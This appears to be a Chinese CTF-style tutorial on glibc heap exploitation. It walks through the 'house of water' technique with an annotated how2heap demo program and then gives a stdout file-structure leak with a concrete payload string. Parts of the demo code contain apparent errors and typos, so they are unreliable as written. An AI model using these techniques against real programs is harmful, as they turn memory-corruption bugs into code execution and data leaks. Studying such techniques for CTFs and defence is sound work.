house of water 和 stdout输出

house of water

发现了一个很神奇的堆打法,可以做到无读写在tcachebin上踩至少一个glibc地址出来,非常好用

使用条件

  • uaf
  • 任意大小堆块分配

原理

  • 如果程序运行到第一个malloc,会初始化main_arena,并且在2.31之后的版本,会分配0x290大小的结构体存储tcachebin的内容,该结构体如下:
typedef strcut tcache_perthread_struct{
    uint16_t counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
}tcache_perthread_struct;
  • 而house of water的做法就是在这个上面留下libc地址,从而可以直接在tcachebin中取出,导致在libc上分配堆

how2heap中的house of water demo:

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main(){
    void *_ = NULL;
    
    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
    setbuf(stderr,NULL);
    
    void *fake_size_lsb = malloc(0x3d8);
    void *fake_size_msb = malloc(0x3e8);
    free(fake_size_lsb);
    free(fake_size_msb);
    
    void *metadata = (void *)((long) (fake_size_lsb & -(0xfff)));
    
    void *x[7];
    for(int i = 0 ; i < 7 ; i ++){
        x[i] = malloc(0x88);
    }
    
    void *unsorted_start = malloc(0x88);
    _ = malloc(0x18);
    
    void *unsorted_middle = malloc(0x88);
    _ = malloc(0x18);
    
    void *unsorted_end = malloc(0x88);
    _ = malloc(0x18);
    
    _ = malloc(0xf000);
    
    void *end_of_fake = malloc(0x18);
    *(long *)end_of_fake = 0x10000;
    *(long *)(end_of_fake + 0x8) = 0x20;
    
    for(int i = 0 ; i < 7 ; i ++){
        free(x[i]);
    }
    
    *(long *)(unsorted_start - 0x18) = 0x31;
    free(unsorted_start - 0x10);
    *(long *)(unsorted_start - 0x8) = 0x91;
    
    *(long *)(unsorted_end - 0x18) = 0x21;
    free(unsorted_end - 0x10);
    *(long *)(unsorted_start - 0x8) = 0x91;
    
    free(unsorted_end);
    free(unsorted_middle);
    free(unsorted_start);
    
    *(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80);
    *(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80);
    
    //now this can be the fake chunk
    void *meta_chunk = malloc(0x288);
    
    assert(meta_chunk == (metadata+0x90));
}

原理

  1. 释放的0x3e0和0x3f0两个堆块是为了构造一个0x10001这样的大小块,这是因为tcache_perthread_struct第一个值会标记每个tcachebin内的堆块数量,这样就构造出了一个size样式的东西,方便我们进行fake chunk的创建。
  2. 19-22行:创建7个chunk,很明显是为了填满tcachebin
  3. 24-33行:间隔创建三个chunk,并且增加间隔防止合并,这三个chunk全部在unsortedbin的位置。然后创建了一个巨大的0xf000的chunk,用来填充到0x10001,目的是为了让最开始讲的tcache_perthread_struct那个0x10001作为size是合法的。
  4. 35-37行:创建0x20大小的chunk,并且伪造prev_size和下一个chunk的size:0x20;
  5. 39-41行:填满tcachebin
  6. 43-45行:在unsorted_start的上面设置了一个0x31的堆块并且释放,释放掉之后由于进入tcachebin会加入一个验证的key,这个key会覆盖掉原本unsorted_start的size,所以得还原。
  7. 47-49行:同理
  8. 在刚刚两个步骤下,我们可以知道在tcache_perthread_struct中,0x20大小的会在tcachebin的第一个位置,而0x30大小的会在tcachebin的第二个位置,于是就造成了0x10001这个值下面刚好是这么两个地址,这样的话,也就是说假设0x10001进入bin,那么它的fd指针将指向unsorted_end,而bk指针将指向unsorted_start
  9. 51-53行:释放了三个chunk,他们仨会进unsorted bin,这里unsorted bin里会变成:unsorted_start->unsorted_middle->unsorted_end
  10. 55-56行:这一步是将之前讲到的0x10001这个堆块链接上去,替换掉unsorted_middle。,可以看到将unsorted_start的fd指针变成了fake_chunk,unsorted_end的bk指针也变成了fake_chunk,而刚刚提到了,fake_chunk的fd指针是unsorted_end,bk指针是unsorted_start,和unsorted_middle是一样的,所以完全可以过unsorted bin检测。在这一步之后,unsorted bin变成了unsorted_start->fake_chunk_unsorted_end。很明显,如果这时候我们对fake_chunk里面踩一个libc地址,它会默认跑到tcachebin中去。
  11. 59行:这一步的想法是进行切割,如果unsorted bin里面没有合适大小的块,则它会按顺序分配到smallbin或者largebin中,然后再进行切割,很明显这里会把unsorted_start和unsorted_end放入small bin,而fake chunk进入large bin。所以只要选择一个小于0x10000的块,这样在放入各自的bin之后,由于只有fake chunk进入了large bin,它一定会在某两个位置出现libc地址,而这两个位置会变成tcache bin的两个。在此之后,如果申请相应大小的tcache bin的chunk,则会在libc上建立相应的堆块。

house of water一般会紧接着攻击stdout,从而泄露libc地址,来进行下一步攻击

stdout的攻击

stdout是个IO_FILE,其结构体如下:

struct IO_FILE{
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;  //  本质上是通过修改这个结构体泄露
    char *_IO_write_ptr;   //  这两个指针地址之间的内容
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    char _unused2[20];
    
}

定义:

#define _IO_MAGIC 0xFBAD0000 
#define _OLD_STDIO_MAGIC 0xFABC0000 
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 
#define _IO_NO_WRITES 8 
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 
#define _IO_LINKED 0x80 
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

其中_IO_2_1_stdout__flags是这样的:_IO_MAGIC|_IO_IS_FILEBUF|_IO_CURRENTLY_PUTTING|_IO_LINKED|_IO_NO_READS | _IO_UNBUFFERED |_IO_USER_BUF

我们在使用的时候,可以将_flags调成0xfbda18**,从上面可以找到含义,然后将_IO_write_base改成想要泄露的位置,再将_IO_write_ptr改为结束位置,就可以在下一次调用puts或者printf的时候泄露出来想要的东西了。

一般如果想要泄露libc的话payload会写p64(0xfbad1800)+p64(0x0)*3+'\x00'

这个也可以用fastbin attack来做,因为stdout的上面是stderr,里面会有0x7f。